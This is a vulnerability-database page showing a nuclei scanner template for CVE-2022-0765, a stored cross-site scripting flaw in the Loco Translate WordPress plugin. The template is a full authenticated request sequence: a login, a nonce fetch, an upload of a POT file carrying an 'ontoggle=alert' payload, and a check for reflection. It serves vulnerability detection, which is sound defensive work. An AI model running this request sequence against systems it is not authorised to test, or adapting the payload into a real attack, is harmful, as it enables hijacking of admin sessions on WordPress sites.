Lucene search
K

WordPress Loco Translate < 2.6.1 - Cross-Site Scripting

🗓️ 21 Jun 2026 03:03:41Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 16 Views

Cross Site Scripting in WordPress Loco Translate lets authenticated users inject JavaScript.

Related
Refs
Code
ReporterTitlePublishedViews
Family
0day.today
WordPress Loco Translate Plugin < 2.6.1 - Authenticated Stored Cross-Site Scripting Vulnerability
7 Apr 202200:00
zdt
ATTACKERKB
CVE-2022-0765
18 Apr 202218:15
attackerkb
Circl
CVE-2022-0765
18 Apr 202222:23
circl
CNNVD
WordPress和WordPress plugin 跨站脚本漏洞
7 Apr 202200:00
cnnvd
CNVD
WordPress Loco Translate plugin跨站脚本漏洞
11 Apr 202200:00
cnvd
CVE
CVE-2022-0765
18 Apr 202217:10
cve
Cvelist
CVE-2022-0765 Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting
18 Apr 202217:10
cvelist
EUVD
EUVD-2022-15824
3 Oct 202520:07
euvd
NVD
CVE-2022-0765
18 Apr 202218:15
nvd
OSV
CVE-2022-0765
18 Apr 202218:15
osv
Rows per page
id: CVE-2022-0765

info:
  name: WordPress Loco Translate < 2.6.1 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Loco Translate WordPress plugin before 2.6.1 contains a stored cross-site scripting vulnerability caused by improper removal of inline events from source translation strings, allowing authenticated users to inject arbitrary JavaScript payloads.
  impact: |
    Attackers can execute arbitrary JavaScript in the context of the admin panel, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 2.6.1 or later.
  reference:
    - https://wpscan.com/vulnerability/58838f51-323d-41e0-8c85-8e113dc2c587
    - https://patchstack.com/database/vulnerability/loco-translate/wordpress-loco-translate-plugin-2-6-0-authenticated-stored-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0765
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0765
    cwe-id: CWE-79
    epss-score: 0.04013
    epss-percentile: 0.89239
    cpe: cpe:2.3:a:loco_translate_project:loco_translate:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
  tags: cve,cve2022,wordpress,wp,wp-plugin,xss,loco-translate,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?path=plugins%2Floco-translate%2Flanguages%2Floco-translate.pot&bundle=loco-translate%2Floco.php&domain=loco-translate&page=loco-plugin&action=file-edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "loco-nonce")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body_2
        group: 1
        regex:
          - '"save":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXssTest
        X-Requested-With: XMLHttpRequest

        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="locale"


        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="path"

        plugins/loco-translate/languages/loco-translate.pot
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="bundle"

        plugin.loco-translate/loco.php
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="domain"

        loco-translate
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="po"; filename="undefined"
        Content-Type: application/x-gettext

        msgid ""
        msgstr ""
        "Project-Id-Version: Loco Translate\n"
        "MIME-Version: 1.0\n"
        "Content-Type: text/plain; charset=UTF-8\n"
        "Content-Transfer-Encoding: 8bit\n"

        msgid "\">'><details/open/ontoggle=alert(document.domain)>"
        msgstr ""
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="action"

        loco_json
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="route"

        save
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="loco-nonce"

        {{nonce}}
        ------WebKitFormBoundaryXssTest--

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "POT file saved")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?path=plugins%2Floco-translate%2Flanguages%2Floco-translate.pot&bundle=loco-translate%2Floco.php&domain=loco-translate&page=loco-plugin&action=file-edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "ontoggle=alert(document.domain)>")
        condition: and
# digest: 4a0a00473045022100b13063f8b1bf444670413077bf84065db37971d9e2a95b6ebc9b861b518f3526022007dd72e447ad488510aa04ca1545e3f897f4652b7a595f1d741831b251a3ad3e:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 23.5
CVSS 3.15.4
EPSS0.04013
16